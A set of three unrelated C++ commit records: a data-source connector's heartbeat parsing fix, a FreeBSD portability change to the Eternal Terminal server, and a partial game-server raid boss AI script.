sLogger << LERROR << "connect: Connection exited with status: " << status;
close();
}
catch (dlib::socket_error &e)
{
sLogger << LWARN << "connect: Socket exception: " << e.what();
}
catch (exception & e)
{
sLogger << LERROR << "connect: Exception in connect: " << e.what();
}
}
void Connector::parseBuffer(const char *aBuffer)
{
// Append the temporary buffer to the socket buffer
mBuffer.append(aBuffer);
size_t newLine = mBuffer.find_last_of('\n');
// Check to see if there is even a '\n' in buffer
if (newLine != string::npos)
{
// If the '\n' is not at the end of the buffer, then save the overflow
string overflow = "";
if (newLine != mBuffer.length() - 1)
{
overflow = mBuffer.substr(newLine + 1);
mBuffer = mBuffer.substr(0, newLine);
}
// Search the buffer for new complete lines
string line;
stringstream stream(mBuffer, stringstream::in);
while (!stream.eof())
{
getline(stream, line);
if (line.empty()) continue;
// Check for heartbeats
if (line[0] == '*')
{
if (line.compare(0, 6, "* PONG") == 0)
{
if (sLogger.level().priority <= LDEBUG.priority) {
sLogger << LDEBUG << "Received a PONG for " << mServer << " on port " << mPort;
dlib::timestamper stamper;
int delta = (int) ((stamper.get_timestamp() - mLastHeartbeat) / 1000ull);
sLogger << LDEBUG << " Time since last heartbeat: " << delta << "ms";
}
if (!mHeartbeats)
startHeartbeats(line);
else
{
dlib::timestamper stamper;
mLastHeartbeat = stamper.get_timestamp();
}
}
else
{
protocolCommand(line);
}
}
else
{
processData(line);
}
}
// Clear buffer/insert overflow data
mBuffer = overflow;
}
}
void Connector::sendCommand(const string &aCommand)
{
if (mConnected) {
dlib::auto_mutex lock(*mCommandLock);
string command = "* " + aCommand + "\n";
int status = mConnection->write(command.c_str(), command.length());
if (status <= 0)
{
sLogger << LWARN << "sendCommand: Could not write command: '" << aCommand << "' - "
<< intToString(status);
}
}
}
void Connector::startHeartbeats(const string &aArg)
{
size_t pos;
if (aArg.length() > 7 && aArg[6] == ' ' && (pos = aArg.find_first_not_of(' ', 6)) != string::npos && aArg.length() > pos) {
int freq = atoi(aArg.substr(pos).c_str());
// Make the maximum timeout 30 minutes.
if (freq > 0 && freq < 30 * 60 * 1000)
{
sLogger << LDEBUG << "Received PONG, starting heartbeats every " << freq << "ms";
mHeartbeats = true;
mHeartbeatFrequency = freq;
}
else
{
sLogger << LERROR << "startHeartbeats: Bad heartbeat frequency " << aArg << ", ignoring";
}
}
else
{
sLogger << LERROR << "startHeartbeats: Bad heartbeat command " << aArg << ", ignoring";
}
}
void Connector::close()
{
dlib::auto_mutex lock(*mCommandLock);
if (mConnected && mConnection.get() != NULL)
{
// Close the connection gracefully
mConnection.reset();
// Call the disconnected callback.
mConnected = false;
disconnected();
}
}
<commit_msg>Made PONG look for the first numeric char after ' '<commit_after>/*
* Copyright Copyright 2012, System Insights, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "connector.hpp"
#include "dlib/logger.h"
using namespace std;
static dlib::logger sLogger("input.connector");
/* Connector public methods */
Connector::Connector(const string& server, unsigned int port, int aLegacyTimeout)
: mConnected(false), mRealTime(false), mHeartbeats(false),
mLegacyTimeout(aLegacyTimeout * 1000)
{
mServer = server;
mPort = port;
mCommandLock = new dlib::mutex;
}
Connector::~Connector()
{
delete mCommandLock;
}
void Connector::connect()
{
mConnected = false;
const char *ping = "* PING\n";
try
{
// Connect to server:port, failure will throw dlib::socket_error exception
// Using a smart pointer to ensure connection is deleted if exception thrown
sLogger << LDEBUG << "Connecting to data source: " << mServer << " on port: " << mPort;
mConnection.reset(dlib::connect(mServer, mPort));
// Check to see if this connection supports heartbeats.
sLogger << LDEBUG << "Sending initial PING";
int status = mConnection->write(ping, strlen(ping));
if (status < 0)
{
sLogger << LWARN << "connect: Could not write initial heartbeat: " << intToString(status);
close();
return;
}
connected();
// If we have heartbeats, make sure we receive something every
// freq milliseconds.
dlib::timestamper stamper;
mLastSent = mLastHeartbeat = stamper.get_timestamp();
// Make sure connection buffer is clear
mBuffer.clear();
// Socket buffer to put the extracted data into
char sockBuf[SOCKET_BUFFER_SIZE + 1];
// Keep track of the status return, else status = character bytes read
// Assuming it always enters the while loop, it should never be 1
mConnected = true;
// Boost priority if this is a real-time adapter
if (mRealTime)
{
#ifdef _WINDOWS
HANDLE hand = OpenThread(THREAD_ALL_ACCESS,FALSE,GetCurrentThreadId());
SetThreadPriority(hand, THREAD_PRIORITY_TIME_CRITICAL);
CloseHandle(hand);
#else
struct sched_param param;
param.sched_priority = 30;
if (pthread_setschedparam(pthread_self(), SCHED_FIFO, ¶m) != 0)
sLogger << LDEBUG << "Cannot set high thread priority";
#endif
}
// Read from the socket, read is a blocking call
while (mConnected)
{
uint64 now;
now = stamper.get_timestamp();
int timeout;
if (mHeartbeats)
timeout = (int) mHeartbeatFrequency - ((int) (now - mLastSent) / 1000);
else
timeout = mLegacyTimeout;
if (timeout < 0)
timeout = 1;
sockBuf[0] = 0;
status = mConnection->read(sockBuf, SOCKET_BUFFER_SIZE, timeout);
if (status > 0)
{
// Give a null terminator for the end of buffer
sockBuf[status] = '\0';
parseBuffer(sockBuf);
}
else if (status == TIMEOUT && !mHeartbeats && ((int) (stamper.get_timestamp() - now) / 1000) >= timeout)
{
// We don't stop on heartbeats, but if we have a legacy timeout, then we stop.
sLogger << LERROR << "connect: Did not receive data for over: " << (timeout / 1000) << " seconds";
break;
}
else if (status != TIMEOUT) // Something other than timeout occurred
{
sLogger << LERROR << "connect: Socket error, disconnecting";
break;
}
if (mHeartbeats)
{
now = stamper.get_timestamp();
if ((now - mLastHeartbeat) > (uint64) (mHeartbeatFrequency * 2000))
{
sLogger << LERROR << "connect: Did not receive heartbeat for over: " << (mHeartbeatFrequency * 2);
break;
}
else if ((now - mLastSent) >= (uint64) (mHeartbeatFrequency * 1000))
{
dlib::auto_mutex lock(*mCommandLock);
sLogger << LDEBUG << "Sending a PING for " << mServer << " on port " << mPort;
status = mConnection->write(ping, strlen(ping));
if (status <= 0)
{
sLogger << LERROR << "connect: Could not write heartbeat: " << status;
break;
}
mLastSent = now;
}
}
}
sLogger << LERROR << "connect: Connection exited with status: " << status;
close();
}
catch (dlib::socket_error &e)
{
sLogger << LWARN << "connect: Socket exception: " << e.what();
}
catch (exception & e)
{
sLogger << LERROR << "connect: Exception in connect: " << e.what();
}
}
void Connector::parseBuffer(const char *aBuffer)
{
// Append the temporary buffer to the socket buffer
mBuffer.append(aBuffer);
size_t newLine = mBuffer.find_last_of('\n');
// Check to see if there is even a '\n' in buffer
if (newLine != string::npos)
{
// If the '\n' is not at the end of the buffer, then save the overflow
string overflow = "";
if (newLine != mBuffer.length() - 1)
{
overflow = mBuffer.substr(newLine + 1);
mBuffer = mBuffer.substr(0, newLine);
}
// Search the buffer for new complete lines
string line;
stringstream stream(mBuffer, stringstream::in);
while (!stream.eof())
{
getline(stream, line);
if (line.empty()) continue;
// Check for heartbeats
if (line[0] == '*')
{
if (line.compare(0, 6, "* PONG") == 0)
{
if (sLogger.level().priority <= LDEBUG.priority) {
sLogger << LDEBUG << "Received a PONG for " << mServer << " on port " << mPort;
dlib::timestamper stamper;
int delta = (int) ((stamper.get_timestamp() - mLastHeartbeat) / 1000ull);
sLogger << LDEBUG << " Time since last heartbeat: " << delta << "ms";
}
if (!mHeartbeats)
startHeartbeats(line);
else
{
dlib::timestamper stamper;
mLastHeartbeat = stamper.get_timestamp();
}
}
else
{
protocolCommand(line);
}
}
else
{
processData(line);
}
}
// Clear buffer/insert overflow data
mBuffer = overflow;
}
}
void Connector::sendCommand(const string &aCommand)
{
if (mConnected) {
dlib::auto_mutex lock(*mCommandLock);
string command = "* " + aCommand + "\n";
int status = mConnection->write(command.c_str(), command.length());
if (status <= 0)
{
sLogger << LWARN << "sendCommand: Could not write command: '" << aCommand << "' - "
<< intToString(status);
}
}
}
void Connector::startHeartbeats(const string &aArg)
{
size_t pos;
if (aArg.length() > 7 && aArg[6] == ' ' && (pos = aArg.find_first_of("0123456789", 7)) != string::npos) {
int freq = atoi(aArg.substr(pos).c_str());
// Make the maximum timeout 30 minutes.
if (freq > 0 && freq < 30 * 60 * 1000)
{
sLogger << LDEBUG << "Received PONG, starting heartbeats every " << freq << "ms";
mHeartbeats = true;
mHeartbeatFrequency = freq;
}
else
{
sLogger << LERROR << "startHeartbeats: Bad heartbeat frequency " << aArg << ", ignoring";
}
}
else
{
sLogger << LERROR << "startHeartbeats: Bad heartbeat command " << aArg << ", ignoring";
}
}
void Connector::close()
{
dlib::auto_mutex lock(*mCommandLock);
if (mConnected && mConnection.get() != NULL)
{
// Close the connection gracefully
mConnection.reset();
// Call the disconnected callback.
mConnected = false;
disconnected();
}
}
<|endoftext|>
|
<commit_before>#include "ClientConnection.hpp"
#include "ConsoleUtils.hpp"
#include "CryptoHandler.hpp"
#include "FlakyFakeSocketHandler.hpp"
#include "Headers.hpp"
#include "ProcessHelper.hpp"
#include "ServerConnection.hpp"
#include "SocketUtils.hpp"
#include "UnixSocketHandler.hpp"
#include <errno.h>
#include <pwd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <termios.h>
#if __APPLE__
#include <util.h>
#else
#include <pty.h>
#endif
#include "ETerminal.pb.h"
using namespace et;
namespace google {}
namespace gflags {}
using namespace google;
using namespace gflags;
shared_ptr<ServerConnection> globalServer;
void halt();
#define FAIL_FATAL(X) \
if ((X) == -1) { \
LOG(FATAL) << "Error: (" << errno << "): " << strerror(errno); \
}
termios terminal_backup;
DEFINE_int32(port, 10022, "Port to listen on");
DEFINE_string(passkey, "", "Passkey to encrypt/decrypt packets");
DEFINE_string(passkeyfile, "", "Passkey file to encrypt/decrypt packets");
thread* terminalThread = NULL;
void runTerminal(shared_ptr<ServerClientConnection> serverClientState,
int masterfd) {
string disconnectBuffer;
// Whether the TE should keep running.
bool run = true;
// TE sends/receives data to/from the shell one char at a time.
#define BUF_SIZE (1024)
char b[BUF_SIZE];
while (run) {
// Data structures needed for select() and
// non-blocking I/O.
fd_set rfd;
fd_set wfd;
fd_set efd;
timeval tv;
FD_ZERO(&rfd);
FD_ZERO(&wfd);
FD_ZERO(&efd);
FD_SET(masterfd, &rfd);
FD_SET(STDIN_FILENO, &rfd);
tv.tv_sec = 0;
tv.tv_usec = 1000;
select(masterfd + 1, &rfd, &wfd, &efd, &tv);
try {
// Check for data to receive; the received
// data includes also the data previously sent
// on the same master descriptor (line 90).
if (FD_ISSET(masterfd, &rfd)) {
// Read from fake terminal and write to server
memset(b, 0, BUF_SIZE);
int rc = read(masterfd, b, BUF_SIZE);
if (rc > 0) {
// VLOG(2) << "Sending bytes: " << int(b) << " " << char(b) << " "
// << serverClientState->getWriter()->getSequenceNumber();
char c = et::PacketType::TERMINAL_BUFFER;
serverClientState->writeMessage(string(1, c));
string s(b, rc);
et::TerminalBuffer tb;
tb.set_buffer(s);
serverClientState->writeProto(tb);
} else {
LOG(INFO) << "Terminal session ended";
run = false;
globalServer->removeClient(serverClientState);
break;
}
}
while (serverClientState->hasData()) {
string packetTypeString;
if (!serverClientState->readMessage(&packetTypeString)) {
break;
}
char packetType = packetTypeString[0];
switch (packetType) {
case et::PacketType::TERMINAL_BUFFER: {
// Read from the server and write to our fake terminal
et::TerminalBuffer tb =
serverClientState->readProto<et::TerminalBuffer>();
const string& s = tb.buffer();
// VLOG(2) << "Got byte: " << int(b) << " " << char(b) << " " <<
// serverClientState->getReader()->getSequenceNumber();
FATAL_FAIL(writeAll(masterfd, &s[0], s.length()));
break;
}
case et::PacketType::KEEP_ALIVE: {
// Echo keepalive back to client
VLOG(1) << "Got keep alive";
char c = et::PacketType::KEEP_ALIVE;
serverClientState->writeMessage(string(1, c));
break;
}
case et::PacketType::TERMINAL_INFO: {
VLOG(1) << "Got terminal info";
et::TerminalInfo ti =
serverClientState->readProto<et::TerminalInfo>();
winsize tmpwin;
tmpwin.ws_row = ti.row();
tmpwin.ws_col = ti.column();
tmpwin.ws_xpixel = ti.width();
tmpwin.ws_ypixel = ti.height();
ioctl(masterfd, TIOCSWINSZ, &tmpwin);
break;
}
default:
LOG(FATAL) << "Unknown packet type: " << int(packetType) << endl;
}
}
} catch (const runtime_error& re) {
LOG(ERROR) << "Error: " << re.what();
cerr << "Error: " << re.what();
serverClientState->closeSocket();
// If the client disconnects the session, it shuoldn't end
// because the client may be starting a new one. TODO: Start a
// timer which eventually kills the server.
// run=false;
}
}
serverClientState.reset();
halt();
}
void startTerminal(shared_ptr<ServerClientConnection> serverClientState,
InitialPayload payload) {
const TerminalInfo& ti = payload.terminal();
winsize win;
win.ws_row = ti.row();
win.ws_col = ti.column();
win.ws_xpixel = ti.width();
win.ws_ypixel = ti.height();
for (const string& it : payload.environmentvar()) {
size_t equalsPos = it.find("=");
if (equalsPos == string::npos) {
LOG(FATAL) << "Invalid environment variable";
}
string name = it.substr(0, equalsPos);
string value = it.substr(equalsPos + 1);
setenv(name.c_str(), value.c_str(), 1);
}
int masterfd;
std::string terminal = getTerminal();
pid_t pid = forkpty(&masterfd, NULL, NULL, &win);
switch (pid) {
case -1:
FAIL_FATAL(pid);
case 0:
// child
ProcessHelper::initChildProcess();
VLOG(1) << "Closing server in fork" << endl;
// Close server on client process
globalServer->close();
globalServer.reset();
VLOG(1) << "Child process " << terminal << endl;
execl(terminal.c_str(), terminal.c_str(), NULL);
exit(0);
break;
default:
// parent
cout << "pty opened " << masterfd << endl;
terminalThread = new thread(runTerminal, serverClientState, masterfd);
break;
}
}
class TerminalServerHandler : public ServerConnectionHandler {
virtual bool newClient(shared_ptr<ServerClientConnection> serverClientState) {
InitialPayload payload = serverClientState->readProto<InitialPayload>();
startTerminal(serverClientState, payload);
return true;
}
};
int main(int argc, char** argv) {
ParseCommandLineFlags(&argc, &argv, true);
google::InitGoogleLogging(argv[0]);
GOOGLE_PROTOBUF_VERIFY_VERSION;
FLAGS_logbufsecs = 0;
FLAGS_logbuflevel = google::GLOG_INFO;
srand(1);
std::shared_ptr<UnixSocketHandler> serverSocket(new UnixSocketHandler());
LOG(INFO) << "Creating server";
string passkey = FLAGS_passkey;
if (passkey.length() == 0 && FLAGS_passkeyfile.length() > 0) {
// Check for passkey file
std::ifstream t(FLAGS_passkeyfile.c_str());
std::stringstream buffer;
buffer << t.rdbuf();
passkey = buffer.str();
// Trim whitespace
passkey.erase(passkey.find_last_not_of(" \n\r\t") + 1);
// Delete the file with the passkey
remove(FLAGS_passkeyfile.c_str());
}
if (passkey.length() == 0) {
cout << "Unless you are doing development on Eternal Terminal,\nplease do "
"not call etserver directly.\n\nThe et launcher (run on the "
"client) uses ssh to remotely call etserver with the correct "
"parameters.\nThis ensures a secure connection.\n\nIf you intended "
"to call etserver directly, please provide a passkey\n(run "
"\"etserver --help\" for details)."
<< endl;
exit(1);
}
if (passkey.length() != 32) {
LOG(FATAL) << "Invalid/missing passkey: " << passkey;
}
globalServer = shared_ptr<ServerConnection>(new ServerConnection(
serverSocket, FLAGS_port,
shared_ptr<TerminalServerHandler>(new TerminalServerHandler()), passkey));
globalServer->run();
}
void halt() {
cout << "Shutting down server" << endl;
globalServer->close();
cout << "Waiting for server to finish" << endl;
sleep(3);
exit(0);
}
<commit_msg>FreeBSD portability<commit_after>#include "ClientConnection.hpp"
#include "ConsoleUtils.hpp"
#include "CryptoHandler.hpp"
#include "FlakyFakeSocketHandler.hpp"
#include "Headers.hpp"
#include "ProcessHelper.hpp"
#include "ServerConnection.hpp"
#include "SocketUtils.hpp"
#include "UnixSocketHandler.hpp"
#include <errno.h>
#include <pwd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <termios.h>
#if __APPLE__
#include <util.h>
#elif __FreeBSD__
#include <sys/types.h>
#include <sys/ioctl.h>
#include <termios.h>
#include <libutil.h>
#else
#include <pty.h>
#endif
#include "ETerminal.pb.h"
using namespace et;
namespace google {}
namespace gflags {}
using namespace google;
using namespace gflags;
shared_ptr<ServerConnection> globalServer;
void halt();
#define FAIL_FATAL(X) \
if ((X) == -1) { \
LOG(FATAL) << "Error: (" << errno << "): " << strerror(errno); \
}
termios terminal_backup;
DEFINE_int32(port, 10022, "Port to listen on");
DEFINE_string(passkey, "", "Passkey to encrypt/decrypt packets");
DEFINE_string(passkeyfile, "", "Passkey file to encrypt/decrypt packets");
thread* terminalThread = NULL;
void runTerminal(shared_ptr<ServerClientConnection> serverClientState,
int masterfd) {
string disconnectBuffer;
// Whether the TE should keep running.
bool run = true;
// TE sends/receives data to/from the shell one char at a time.
#define BUF_SIZE (1024)
char b[BUF_SIZE];
while (run) {
// Data structures needed for select() and
// non-blocking I/O.
fd_set rfd;
fd_set wfd;
fd_set efd;
timeval tv;
FD_ZERO(&rfd);
FD_ZERO(&wfd);
FD_ZERO(&efd);
FD_SET(masterfd, &rfd);
FD_SET(STDIN_FILENO, &rfd);
tv.tv_sec = 0;
tv.tv_usec = 1000;
select(masterfd + 1, &rfd, &wfd, &efd, &tv);
try {
// Check for data to receive; the received
// data includes also the data previously sent
// on the same master descriptor (line 90).
if (FD_ISSET(masterfd, &rfd)) {
// Read from fake terminal and write to server
memset(b, 0, BUF_SIZE);
int rc = read(masterfd, b, BUF_SIZE);
if (rc > 0) {
// VLOG(2) << "Sending bytes: " << int(b) << " " << char(b) << " "
// << serverClientState->getWriter()->getSequenceNumber();
char c = et::PacketType::TERMINAL_BUFFER;
serverClientState->writeMessage(string(1, c));
string s(b, rc);
et::TerminalBuffer tb;
tb.set_buffer(s);
serverClientState->writeProto(tb);
} else {
LOG(INFO) << "Terminal session ended";
run = false;
globalServer->removeClient(serverClientState);
break;
}
}
while (serverClientState->hasData()) {
string packetTypeString;
if (!serverClientState->readMessage(&packetTypeString)) {
break;
}
char packetType = packetTypeString[0];
switch (packetType) {
case et::PacketType::TERMINAL_BUFFER: {
// Read from the server and write to our fake terminal
et::TerminalBuffer tb =
serverClientState->readProto<et::TerminalBuffer>();
const string& s = tb.buffer();
// VLOG(2) << "Got byte: " << int(b) << " " << char(b) << " " <<
// serverClientState->getReader()->getSequenceNumber();
FATAL_FAIL(writeAll(masterfd, &s[0], s.length()));
break;
}
case et::PacketType::KEEP_ALIVE: {
// Echo keepalive back to client
VLOG(1) << "Got keep alive";
char c = et::PacketType::KEEP_ALIVE;
serverClientState->writeMessage(string(1, c));
break;
}
case et::PacketType::TERMINAL_INFO: {
VLOG(1) << "Got terminal info";
et::TerminalInfo ti =
serverClientState->readProto<et::TerminalInfo>();
winsize tmpwin;
tmpwin.ws_row = ti.row();
tmpwin.ws_col = ti.column();
tmpwin.ws_xpixel = ti.width();
tmpwin.ws_ypixel = ti.height();
ioctl(masterfd, TIOCSWINSZ, &tmpwin);
break;
}
default:
LOG(FATAL) << "Unknown packet type: " << int(packetType) << endl;
}
}
} catch (const runtime_error& re) {
LOG(ERROR) << "Error: " << re.what();
cerr << "Error: " << re.what();
serverClientState->closeSocket();
// If the client disconnects the session, it shuoldn't end
// because the client may be starting a new one. TODO: Start a
// timer which eventually kills the server.
// run=false;
}
}
serverClientState.reset();
halt();
}
void startTerminal(shared_ptr<ServerClientConnection> serverClientState,
InitialPayload payload) {
const TerminalInfo& ti = payload.terminal();
winsize win;
win.ws_row = ti.row();
win.ws_col = ti.column();
win.ws_xpixel = ti.width();
win.ws_ypixel = ti.height();
for (const string& it : payload.environmentvar()) {
size_t equalsPos = it.find("=");
if (equalsPos == string::npos) {
LOG(FATAL) << "Invalid environment variable";
}
string name = it.substr(0, equalsPos);
string value = it.substr(equalsPos + 1);
setenv(name.c_str(), value.c_str(), 1);
}
int masterfd;
std::string terminal = getTerminal();
pid_t pid = forkpty(&masterfd, NULL, NULL, &win);
switch (pid) {
case -1:
FAIL_FATAL(pid);
case 0:
// child
ProcessHelper::initChildProcess();
VLOG(1) << "Closing server in fork" << endl;
// Close server on client process
globalServer->close();
globalServer.reset();
VLOG(1) << "Child process " << terminal << endl;
execl(terminal.c_str(), terminal.c_str(), NULL);
exit(0);
break;
default:
// parent
cout << "pty opened " << masterfd << endl;
terminalThread = new thread(runTerminal, serverClientState, masterfd);
break;
}
}
class TerminalServerHandler : public ServerConnectionHandler {
virtual bool newClient(shared_ptr<ServerClientConnection> serverClientState) {
InitialPayload payload = serverClientState->readProto<InitialPayload>();
startTerminal(serverClientState, payload);
return true;
}
};
int main(int argc, char** argv) {
ParseCommandLineFlags(&argc, &argv, true);
google::InitGoogleLogging(argv[0]);
GOOGLE_PROTOBUF_VERIFY_VERSION;
FLAGS_logbufsecs = 0;
FLAGS_logbuflevel = google::GLOG_INFO;
srand(1);
std::shared_ptr<UnixSocketHandler> serverSocket(new UnixSocketHandler());
LOG(INFO) << "Creating server";
string passkey = FLAGS_passkey;
if (passkey.length() == 0 && FLAGS_passkeyfile.length() > 0) {
// Check for passkey file
std::ifstream t(FLAGS_passkeyfile.c_str());
std::stringstream buffer;
buffer << t.rdbuf();
passkey = buffer.str();
// Trim whitespace
passkey.erase(passkey.find_last_not_of(" \n\r\t") + 1);
// Delete the file with the passkey
remove(FLAGS_passkeyfile.c_str());
}
if (passkey.length() == 0) {
cout << "Unless you are doing development on Eternal Terminal,\nplease do "
"not call etserver directly.\n\nThe et launcher (run on the "
"client) uses ssh to remotely call etserver with the correct "
"parameters.\nThis ensures a secure connection.\n\nIf you intended "
"to call etserver directly, please provide a passkey\n(run "
"\"etserver --help\" for details)."
<< endl;
exit(1);
}
if (passkey.length() != 32) {
LOG(FATAL) << "Invalid/missing passkey: " << passkey;
}
globalServer = shared_ptr<ServerConnection>(new ServerConnection(
serverSocket, FLAGS_port,
shared_ptr<TerminalServerHandler>(new TerminalServerHandler()), passkey));
globalServer->run();
}
void halt() {
cout << "Shutting down server" << endl;
globalServer->close();
cout << "Waiting for server to finish" << endl;
sleep(3);
exit(0);
}
<|endoftext|>
|
<commit_before>#include "StdAfx.h"
#include "Setup.h"
/************************************************************************/
/* Raid_ZulGurub.cpp Script */
/************************************************************************/
// High Priestess Jeklik AI
#define CN_JEKLIK 14517
#define TRANSFORM_BAT 23966 // TODO: MISSING CREATURE_NAME TO TRANSFORM
#define CRUSHING_BLOW 24257
#define CRUSHING_AOE_SILENCE 24687
#define MIND_FLAY 23953
#define SUMMON_BATS 23974 // TODO EFFECT :P
#define SHADOW_WORD_PAIN 24212
#define GREAT_HEAL 29564
// agro/transform sound -> 8417
class JeklikAI : public CreatureAIScript
{
public:
ADD_CREATURE_FACTORY_FUNCTION(JeklikAI);
SP_AI_Spell spells[6];
bool m_spellcheck[6];
JeklikAI(Creature* pCreature) : CreatureAIScript(pCreature)
{
// -- Number of spells to add --
nrspells = 6;
// --- Initialization ---
for(int i=0;i<nrspells;i++)
{
m_spellcheck[i] = false;
}
// ----------------------
// Create basic info for spells here, and play with it later , fill always the info, targettype and if is instant or not!
spells[0].info = dbcSpell.LookupEntry(TRANSFORM_BAT);
spells[0].targettype = TARGET_SELF;
spells[0].instant = true;
spells[0].perctrigger = 0.0f;
spells[0].attackstoptimer = 1000; // 1sec
m_spellcheck[0] = true;
spells[1].info = dbcSpell.LookupEntry(CRUSHING_BLOW);
spells[1].targettype = TARGET_ATTACKING;
spells[1].instant = false;
spells[1].perctrigger = 10.0f;
spells[1].attackstoptimer = 2000; // 1sec
spells[2].info = dbcSpell.LookupEntry(CRUSHING_AOE_SILENCE);
spells[2].targettype = TARGET_VARIOUS;
spells[2].instant = false;
spells[2].perctrigger = 10.0f;
spells[2].attackstoptimer = 2000; // 1sec
// 2 phase spells
spells[3].info = dbcSpell.LookupEntry(MIND_FLAY);
spells[3].targettype = TARGET_ATTACKING;
spells[3].instant = false;
spells[3].perctrigger = 10.0f;
spells[3].attackstoptimer = 6000; // 1sec
spells[4].info = dbcSpell.LookupEntry(SHADOW_WORD_PAIN);
spells[4].targettype = TARGET_ATTACKING;
spells[4].instant = false;
spells[4].perctrigger = 10.0f;
spells[4].attackstoptimer = 2000; // 1sec
spells[5].info = dbcSpell.LookupEntry(GREAT_HEAL);
spells[5].targettype = TARGET_SELF;
spells[5].instant = false;
spells[5].perctrigger = 10.0f;
spells[5].attackstoptimer = 10000; // 1sec
}
void OnCombatStart(Unit* mTarget)
{
RegisterAIUpdateEvent(_unit->GetUInt32Value(UNIT_FIELD_BASEATTACKTIME));
// bat transform
_unit->CastSpell(_unit, spells[0].info, spells[0].instant);
_unit->PlaySoundToSet(8417);
}
void OnCombatStop(Unit *mTarget)
{
_unit->GetAIInterface()->setCurrentAgent(AGENT_NULL);
_unit->GetAIInterface()->SetAIState(STATE_IDLE);
RemoveAIUpdateEvent();
_unit->RemoveAura(TRANSFORM_BAT);
}
void OnDied(Unit * mKiller)
{
RemoveAIUpdateEvent();
}
void AIUpdate()
{
if(_unit->GetHealthPct() <= 50 && m_spellcheck[0])
{
m_spellcheck[0] = false;
_unit->RemoveAura(TRANSFORM_BAT);
}
float val = (float)RandomFloat(100.0f);
SpellCast(val);
}
void SpellCast(float val)
{
if(_unit->GetCurrentSpell() == NULL && _unit->GetAIInterface()->GetNextTarget())
{
float comulativeperc = 0;
Unit *target = NULL;
for(int i=0;i<nrspells;i++)
{
if(!spells[i].perctrigger) continue;
// do another set of spells on transform
if(_unit->GetHealthPct() <= 50 && i < 3) continue;
if(m_spellcheck[i])
{
target = _unit->GetAIInterface()->GetNextTarget();
switch(spells[i].targettype)
{
case TARGET_SELF:
case TARGET_VARIOUS:
_unit->CastSpell(_unit, spells[i].info, spells[i].instant); break;
case TARGET_ATTACKING:
_unit->CastSpell(target, spells[i].info, spells[i].instant); break;
case TARGET_DESTINATION:
_unit->CastSpellAoF(target->GetPositionX(),target->GetPositionY(),target->GetPositionZ(), spells[i].info, spells[i].instant); break;
}
m_spellcheck[i] = false;
return;
}
if(val > comulativeperc && val <= (comulativeperc + spells[i].perctrigger))
{
_unit->setAttackTimer(spells[i].attackstoptimer, false);
m_spellcheck[i] = true;
}
comulativeperc += spells[i].perctrigger;
}
}
}
protected:
int nrspells;
};
/*
Jeklik begins the encounter in bat form. In this form she has an AoE silence that also damages.
She randomly charges people in the group, and summons 6-8 bloodseeker bats once per minute.
When she drops below 50% HP, she reverts to priest form. Here she casts Shadow Word: Pain, Mind Flay, Chain Mind Flay and Greater Heal.
She also summons bomb bats which drop fire bombs on the ground which AOE DoT those inside.
*/
// High Priestess Venoxis AI
#define CN_VENOXIS 14507 // TODO: MISSING CREATURE_NAME TO TRANSFORM
#define HOLY_NOVA 23858 // various targets
#define HOLY_FIRE 23860 // various targets
#define TRANSFORM_SNAKE 23849
#define SPIT_POISON 24688 // various targets
class VenoxisAI : public CreatureAIScript
{
public:
ADD_CREATURE_FACTORY_FUNCTION(VenoxisAI);
SP_AI_Spell spells[4];
bool m_spellcheck[4];
VenoxisAI(Creature* pCreature) : CreatureAIScript(pCreature)
{
// -- Number of spells to add --
nrspells = 4;
// --- Initialization ---
for(int i=0;i<nrspells;i++)
{
m_spellcheck[i] = false;
}
// ----------------------
// Create basic info for spells here, and play with it later , fill always the info, targettype and if is instant or not!
spells[0].info = dbcSpell.LookupEntry(TRANSFORM_SNAKE);
spells[0].targettype = TARGET_SELF;
spells[0].instant = false;
spells[0].perctrigger = 0.0f;
spells[0].attackstoptimer = 1000; // 1sec
m_spellcheck[0] = true;
spells[1].info = dbcSpell.LookupEntry(HOLY_NOVA);
spells[1].targettype = TARGET_VARIOUS;
spells[1].instant = false;
spells[1].perctrigger = 10.0f;
spells[1].attackstoptimer = 2000; // 2sec
spells[2].info = dbcSpell.LookupEntry(HOLY_FIRE);
spells[2].targettype = TARGET_VARIOUS;
spells[2].instant = false;
spells[2].perctrigger = 10.0f;
spells[2].attackstoptimer = 2000; // 2sec
spells[3].info = dbcSpell.LookupEntry(SPIT_POISON);
spells[3].targettype = TARGET_VARIOUS;
spells[3].instant = false;
spells[3].perctrigger = 10.0f;
spells[3].attackstoptimer = 2000; // 2sec
// ----------------------------------------------------------
}
void OnCombatStart(Unit* mTarget)
{
RegisterAIUpdateEvent(_unit->GetUInt32Value(UNIT_FIELD_BASEATTACKTIME));
}
void OnCombatStop(Unit *mTarget)
{
_unit->GetAIInterface()->setCurrentAgent(AGENT_NULL);
_unit->GetAIInterface()->SetAIState(STATE_IDLE);
RemoveAIUpdateEvent();
_unit->RemoveAura(TRANSFORM_SNAKE);
}
void OnDied(Unit * mKiller)
{
RemoveAIUpdateEvent();
}
void AIUpdate()
{
if(_unit->GetHealthPct() <= 50 && m_spellcheck[0])
{
//cast snake transform
_unit->CastSpell(_unit, spells[0].info, spells[0].instant);
m_spellcheck[0] = false;
}
float val = (float)RandomFloat(100.0f);
SpellCast(val);
}
void SpellCast(float val)
{
if(_unit->GetCurrentSpell() == NULL && _unit->GetAIInterface()->GetNextTarget())
{
float comulativeperc = 0;
Unit *target = NULL;
for(int i=0;i<nrspells;i++)
{
if(!spells[i].perctrigger) continue;
// do another set of spells on transform
if(_unit->GetHealthPct() <= 50 && i < 3) continue;
if(m_spellcheck[i])
{
target = _unit->GetAIInterface()->GetNextTarget();
switch(spells[i].targettype)
{
case TARGET_SELF:
case TARGET_VARIOUS:
_unit->CastSpell(_unit, spells[i].info, spells[i].instant); break;
case TARGET_ATTACKING:
_unit->CastSpell(target, spells[i].info, spells[i].instant); break;
case TARGET_DESTINATION:
_unit->CastSpellAoF(target->GetPositionX(),target->GetPositionY(),target->GetPositionZ(), spells[i].info, spells[i].instant); break;
}
m_spellcheck[i] = false;
return;
}
if(val > comulativeperc && val <= (comulativeperc + spells[i].perctrigger))
{
